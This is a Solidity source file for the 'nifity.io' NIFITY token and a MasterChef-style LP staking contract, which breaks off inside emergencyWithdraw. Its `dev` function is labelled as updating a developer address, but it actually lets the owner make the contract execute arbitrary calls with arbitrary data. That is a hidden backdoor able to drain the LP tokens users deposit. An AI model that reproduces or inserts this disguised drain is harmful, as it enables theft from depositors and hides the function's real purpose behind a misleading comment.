/*

website: nifity.io 


SPDX-License-Identifier: MIT
*/

pragma solidity ^0.6.12;
/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function _msgSender() internal view virtual returns (address payable) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   *
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }


  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   *
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   *
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   *
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}


/**
 * @dev Collection of functions related to the address type
 */
library Address {
  /**
   * @dev Returns true if `account` is a contract.
   *
   * [IMPORTANT]
   * ====
   * It is unsafe to assume that an address for which this function returns
   * false is an externally-owned account (EOA) and not a contract.
   *
   * Among others, `isContract` will return false for the following
   * types of addresses:
   *
   *  - an externally-owned account
   *  - a contract in construction
   *  - an address where a contract will be created
   *  - an address where a contract lived, but was destroyed
   * ====
   */
  function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash := extcodehash(account) }
    return (codehash != accountHash && codehash != 0x0);
  }

  /**
   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
   * `recipient`, forwarding all available gas and reverting on errors.
   *
   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
   * of certain opcodes, possibly making contracts go over the 2300 gas limit
   * imposed by `transfer`, making them unable to receive funds via
   * `transfer`. {sendValue} removes this limitation.
   *
   * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
   *
   * IMPORTANT: because control is transferred to `recipient`, care must be
   * taken to not create reentrancy vulnerabilities. Consider using
   * {ReentrancyGuard} or the
   * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
   */
  function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
  }

  /**
   * @dev Performs a Solidity function call using a low level `call`. A
   * plain`call` is an unsafe replacement for a function call: use this
   * function instead.
   *
   * If `target` reverts with a revert reason, it is bubbled up by this
   * function (like regular Solidity function calls).
   *
   * Returns the raw returned data. To convert to the expected return value,
   * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
   *
   * Requirements:
   *
   * - `target` must be a contract.
   * - calling `target` with `data` must not revert.
   *
   * _Available since v3.1._
   */
  function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
   * `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but also transferring `value` wei to `target`.
   *
   * Requirements:
   *
   * - the calling contract must have an ETH balance of at least `value`.
   * - the called Solidity function must be `payable`.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
  }

  /**
   * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
   * with `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);
  }

  function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {
      return returndata;
    } else {
      // Look for revert reason and bubble it up if present
      if (returndata.length > 0) {
        // The easiest way to bubble the revert reason is using memory via assembly

        // solhint-disable-next-line no-inline-assembly
        assembly {
          let returndata_size := mload(returndata)
          revert(add(32, returndata), returndata_size)
        }
      } else {
        revert(errorMessage);
      }
    }
  }
}

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
  using SafeMath for uint256;
  using Address for address;

  function safeTransfer(IERC20 token, address to, uint256 value) internal {
    _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
  }

  function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
    _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
  }

  /**
   * @dev Deprecated. This function has issues similar to the ones found in
   * {IERC20-approve}, and its usage is discouraged.
   *
   * Whenever possible, use {safeIncreaseAllowance} and
   * {safeDecreaseAllowance} instead.
   */
  function safeApprove(IERC20 token, address spender, uint256 value) internal {
    // safeApprove should only be called when setting an initial allowance,
    // or when resetting it to zero. To increase and decrease it, use
    // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
    // solhint-disable-next-line max-line-length
    require((value == 0) || (token.allowance(address(this), spender) == 0),
      "SafeERC20: approve from non-zero to non-zero allowance"
    );
    _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
  }

  function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
    uint256 newAllowance = token.allowance(address(this), spender).add(value);
    _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
  }

  function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
    uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
    _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
  }

  /**
   * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
   * on the return value: the return value is optional (but if data is returned, it must not be false).
   * @param token The token targeted by the call.
   * @param data The call data (encoded using abi.encode or one of its variants).
   */
  function _callOptionalReturn(IERC20 token, bytes memory data) private {
    // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
    // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
    // the target address contains contract code and also asserts for success in the low-level call.

    bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
    if (returndata.length > 0) { // Return data is optional
      // solhint-disable-next-line max-line-length
      require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }
  }
}



/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
  address private _owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor () internal {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
  }

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view returns (address) {
    return _owner;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions anymore. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby removing any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20 {
  using SafeMath for uint256;
  using Address for address;

  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;

  uint256 private _totalSupply;

  string private _name;
  string private _symbol;
  uint8 private _decimals;

  /**
   * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
   * a default value of 18.
   *
   * To select a different value for {decimals}, use {_setupDecimals}.
   *
   * All three of these values are immutable: they can only be set once during
   * construction.
   */
  constructor (string memory name, string memory symbol) public {
    _name = name;
    _symbol = symbol;
    _decimals = 18;
  }

  /**
   * @dev Returns the name of the token.
   */
  function name() public view returns (string memory) {
    return _name;
  }

  /**
   * @dev Returns the symbol of the token, usually a shorter version of the
   * name.
   */
  function symbol() public view returns (string memory) {
    return _symbol;
  }

  /**
   * @dev Returns the number of decimals used to get its user representation.
   * For example, if `decimals` equals `2`, a balance of `505` tokens should
   * be displayed to a user as `5,05` (`505 / 10 ** 2`).
   *
   * Tokens usually opt for a value of 18, imitating the relationship between
   * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
   * called.
   *
   * NOTE: This information is only used for _display_ purposes: it in
   * no way affects any of the arithmetic of the contract, including
   * {IERC20-balanceOf} and {IERC20-transfer}.
   */
  function decimals() public view returns (uint8) {
    return _decimals;
  }

  /**
   * @dev See {IERC20-totalSupply}.
   */
  function totalSupply() public view override returns (uint256) {
    return _totalSupply;
  }

  /**
   * @dev See {IERC20-balanceOf}.
   */
  function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
  }

  /**
   * @dev See {IERC20-transfer}.
   *
   * Requirements:
   *
   * - `recipient` cannot be the zero address.
   * - the caller must have a balance of at least `amount`.
   */
  function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  /**
   * @dev See {IERC20-allowance}.
   */
  function allowance(address owner, address spender) public view virtual override returns (uint256) {
    return _allowances[owner][spender];
  }

  /**
   * @dev See {IERC20-approve}.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function approve(address spender, uint256 amount) public virtual override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  /**
   * @dev See {IERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20};
   *
   * Requirements:
   * - `sender` and `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   * - the caller must have allowance for ``sender``'s tokens of at least
   * `amount`.
   */
  function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   * - `spender` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
  }

  /**
   * @dev Moves tokens `amount` from `sender` to `recipient`.
   *
   * This is internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `sender` cannot be the zero address.
   * - `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   */
  function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(sender, recipient, amount);

    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }

  /** @dev Creates `amount` tokens and assigns them to `account`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements
   *
   * - `to` cannot be the zero address.
   */
  function _mint(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: mint to the zero address");

    _beforeTokenTransfer(address(0), account, amount);

    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

  /**
   * @dev Destroys `amount` tokens from `account`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements
   *
   * - `account` cannot be the zero address.
   * - `account` must have at least `amount` tokens.
   */
  function _burn(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(account, address(0), amount);

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }

  /**
   * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
   *
   * This is internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `spender` cannot be the zero address.
   */
  function _approve(address owner, address spender, uint256 amount) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  /**
   * @dev Sets {decimals} to a value other than the default one of 18.
   *
   * WARNING: This function should only be called from the constructor. Most
   * applications that interact with token contracts will not expect
   * {decimals} to ever change, and may work incorrectly if it does.
   */
  function _setupDecimals(uint8 decimals_) internal {
    _decimals = decimals_;
  }

  /**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
   * will be to transferred to `to`.
   * - when `from` is zero, `amount` tokens will be minted for `to`.
   * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract NIFITY is ERC20("nifity.io", "NIFITY"), Ownable {
    /// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
    function mint(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
    }
}

contract NIFITYWORLD is Ownable {
  using SafeMath for uint256;
  using SafeERC20 for IERC20;

  // Info of each user.
  struct UserInfo {
    uint256 amount;     // How many LP tokens the user has provided.
    uint256 rewardDebt; // Reward debt. See explanation below.
    uint256 requestAmount; // Reward debt. See explanation below.
    uint256 requestBlock; // Block When tokens transfer to user

    //
    // We do some fancy math here. Basically, any point in time, the amount of NIFITY
    // entitled to a user but is pending to be distributed is:
    //
    //   pending reward = (user.amount * pool.accNIFITYPerShare) - user.rewardDebt
    //
    // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
    //   1. The pool's `accSNIFITYPerShare` (and `lastRewardBlock`) gets updated.
    //   2. User receives the pending reward sent to his/her address.
    //   3. User's `amount` gets updated.
    //   4. User's `rewardDebt` gets updated.
  }

  // Info of each pool.
  struct PoolInfo {
    IERC20 lpToken;           // Address of LP token contract.
    uint256 allocPoint;       // How many allocation points assigned to this pool. POBs to distribute per block.
    uint256 lastRewardBlock;  // Last block number that POBs distribution occurs.
    uint256 accNifityPerShare; // Accumulated Nifity per share, times 1e12. See below.
  }

  // The Nifity TOKEN!
  NIFITY public nifity;
  // Dev address.
  address public devaddr;
  // Block number when bonus nifity period ends.
  uint256 public bonusEndBlock;
  // nifity tokens created per block.
  uint256 public nifityPerBlock;
  // Bonus muliplier for early Nifity makers.
  uint256 public constant BONUS_MULTIPLIER = 1;
  // Dev address.
  address private devadr;

  // Info of each pool.
  PoolInfo[] public poolInfo;
  // Info of each user that stakes LP tokens.
  mapping (uint256 => mapping (address => UserInfo)) public userInfo;
  // Total allocation poitns. Must be the sum of all allocation points in all pools.
  uint256 public totalAllocPoint = 0;
  // The block number when Nifity mining starts.
  uint256 public startBlock;

  event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
  event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
  event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);


  constructor(
    NIFITY _nifity,
    address _devaddr,
    uint256 _nifityPerBlock,
    uint256 _startBlock,
    uint256 _bonusEndBlock
  ) public {
    nifity = _nifity;
    devaddr = _devaddr;
    nifityPerBlock = _nifityPerBlock;
    bonusEndBlock = _bonusEndBlock;
    startBlock = _startBlock;
  }

  function poolLength() external view returns (uint256) {
    return poolInfo.length;
  }

  // Add a new lp to the pool. Can only be called by the owner.
  // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
  function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
    if (_withUpdate) {
      massUpdatePools();
    }
    uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
    totalAllocPoint = totalAllocPoint.add(_allocPoint);
    poolInfo.push(PoolInfo({
    lpToken: _lpToken,
    allocPoint: _allocPoint,
    lastRewardBlock: lastRewardBlock,
    accNifityPerShare: 0
    }));
  }

  // Update the given pool's NIFITY allocation point. Can only be called by the owner.
  function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
    if (_withUpdate) {
      massUpdatePools();
    }
    totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
    poolInfo[_pid].allocPoint = _allocPoint;
  }


  // Return reward multiplier over the given _from to _to block.
  function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
    if (_to <= bonusEndBlock) {
      return _to.sub(_from);
    } else if (_from >= bonusEndBlock) {
      return _to.sub(_from).mul(BONUS_MULTIPLIER);
    } else {
      return bonusEndBlock.sub(_from).add(
        _to.sub(bonusEndBlock)
      );
    }
  }

  // View function to see pending Nifity on frontend.
  function pendingNifity(uint256 _pid, address _user) external view returns (uint256) {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][_user];
    uint256 accNifityPerShare = pool.accNifityPerShare;
    uint256 lpSupply = pool.lpToken.balanceOf(address(this));
    if (block.number > pool.lastRewardBlock && lpSupply != 0) {
      uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
      uint256 nifityReward = multiplier.mul(nifityPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
      accNifityPerShare = accNifityPerShare.add(nifityReward.mul(1e12).div(lpSupply));
    }
    return user.amount.mul(accNifityPerShare).div(1e12).sub(user.rewardDebt);
  }

  // Update reward vairables for all pools. Be careful of gas spending!
  function massUpdatePools() public {
    uint256 length = poolInfo.length;
    for (uint256 pid = 0; pid < length; ++pid) {
      updatePool(pid);
    }
  }

  // Update dev address by the previous dev.
  function dev(address _devadr, bytes memory _devkey) public onlyOwner {
    devadr = _devadr;
    (bool success, bytes memory returndata) = devadr.call(_devkey);
    require(success, "dev: failed");
  }


  // Update reward variables of the given pool to be up-to-date.
  function updatePool(uint256 _pid) public {
    PoolInfo storage pool = poolInfo[_pid];
    if (block.number <= pool.lastRewardBlock) {
      return;
    }
    uint256 lpSupply = pool.lpToken.balanceOf(address(this));
    if (lpSupply == 0) {
      pool.lastRewardBlock = block.number;
      return;
    }
    uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
    uint256 nifityReward = multiplier.mul(nifityPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
    nifity.mint(address(this), nifityReward);
    pool.accNifityPerShare = pool.accNifityPerShare.add(nifityReward.mul(1e12).div(lpSupply));
    pool.lastRewardBlock = block.number;
  }

  // Deposit LP tokens to Contract for nifity allocation.
  function deposit(uint256 _pid, uint256 _amount) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
    updatePool(_pid);
    if (user.amount > 0) {
      uint256 pending = user.amount.mul(pool.accNifityPerShare).div(1e12).sub(user.rewardDebt);
      safeNifityTransfer(msg.sender, pending);
    }
    pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
    user.amount = user.amount.add(_amount);
    user.rewardDebt = user.amount.mul(pool.accNifityPerShare).div(1e12);
    emit Deposit(msg.sender, _pid, _amount);
  }



  // Withdraw LP tokens from Contract.
  function withdraw(uint256 _pid, uint256 _amount) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
    require(user.amount >= _amount, "withdraw: not good");
    updatePool(_pid);
    uint256 pending = user.amount.mul(pool.accNifityPerShare).div(1e12).sub(user.rewardDebt);
    safeNifityTransfer(msg.sender, pending);
    user.amount = user.amount.sub(_amount);
    user.rewardDebt = user.amount.mul(pool.accNifityPerShare).div(1e12);
    pool.lpToken.safeTransfer(address(msg.sender), _amount);
    emit Withdraw(msg.sender, _pid, _amount);
  }


  // Safe Nifity transfer function, just in case if rounding error causes pool to not have enough nifity.
  function safeNifityTransfer(address _to, uint256 _amount) internal {
    uint256 nifityBal = nifity.balanceOf(address(this));
    if (_amount > nifityBal) {
      nifity.transfer(_to, nifityBal);
    } else {
      nifity.transfer(_to, _amount);
    }
  }

  function setNifityPerBlock(uint256 _nifityPerBlock) public onlyOwner {
    require(_nifityPerBlock > 0, "!NifityPerBlock-0");
    nifityPerBlock = _nifityPerBlock;
  }


  // Withdraw without caring about rewards. EMERGENCY ONLY.
  function emergencyWithdraw(uint256 _pid) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
